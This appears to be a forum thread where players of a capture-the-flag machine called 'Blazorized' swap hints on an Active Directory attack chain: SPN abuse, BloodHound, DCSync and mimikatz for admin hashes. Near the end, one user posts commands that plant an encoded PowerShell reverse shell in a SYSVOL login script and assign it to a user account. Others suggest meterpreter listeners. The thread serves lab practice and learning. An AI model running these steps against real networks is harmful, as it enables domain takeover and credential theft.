[mycatdante]

Hey guys. What I suppose to find with mimikatz? LSASS is not possible, vault is empty.

mimikatz is for the last step after we compromise ssa_6010

Yes, I know. I'm 6010 already. I'm novice with windows pwning.

ssa_6610  => bloodhound => DCSync => mimikatz => admin hash.

Has anyone had the issue when bloodhound import .zip like forever?

Or use SharpHound.ps1 to digest. It's the zip file does not work with the BloodHound version

[osamy7593]

guys after jwt it tells me
http://admin.blazorized.htb/_blazor

Connection ID required

[osamy7593]

after write spn what can i do

[AAAABBBBCCCCDDDD]

after write spn what can i do

Read further back in the thread, where you'll find the answer multiple times.

[osamy7593]

after write spn what can i do

Read further back in the thread, where you'll find the answer multiple times.

okay i get the shell as rsa but whan i put powershell -e ......   in C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\login.bat .. no rev shell back

[DeDeLaPouille]

Hi !

I have a shell as ssa_6010, but when i want to use Invoke-Mimikatz, my shell dies out.

Anyone has an idea why or has got this problem ?

[AAAABBBBCCCCDDDD]

after write spn what can i do

Read further back in the thread, where you'll find the answer multiple times.

okay i get the shell as rsa but whan i put powershell -e ......   in C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\login.bat .. no rev shell back

Are you also doing

Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\login.bat'

?

And are you trying to catch it with metasploit? I used a  meterpreter reverse tcp shell and it didn't take more than a minute for the listener to catch

---

Hi !

I have a shell as ssa_6010, but when i want to use Invoke-Mimikatz, my shell dies out.

Anyone has an idea why or has got this problem ?

Try another shell would be my guess. Like I said to dude above, try a meterpreter shell

[osamy7593]

guys what tells us to use
Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\login.bat'
i can't find anything in bloodhound .. can some one tell me

[WesleyFrench]

Hi !

I have a shell as ssa_6010, but when i want to use Invoke-Mimikatz, my shell dies out.

Anyone has an idea why or has got this problem ?

Transfer over to a meterpreter shell. Should work fine there.

[mxntysec]

For anyone wondering, this is how I got a shell as SSA_6010:

*Evil-WinRM* PS C:\programdata> echo "powershell -e JABjAGw...<SNIP>...ACgAKQA=" | Out-File -FilePath C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\login.bat -Encoding ASCII

*Evil-WinRM* PS C:\programdata> Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\login.bat'


Powershell #3 (Base64) from https://www.revshells.com/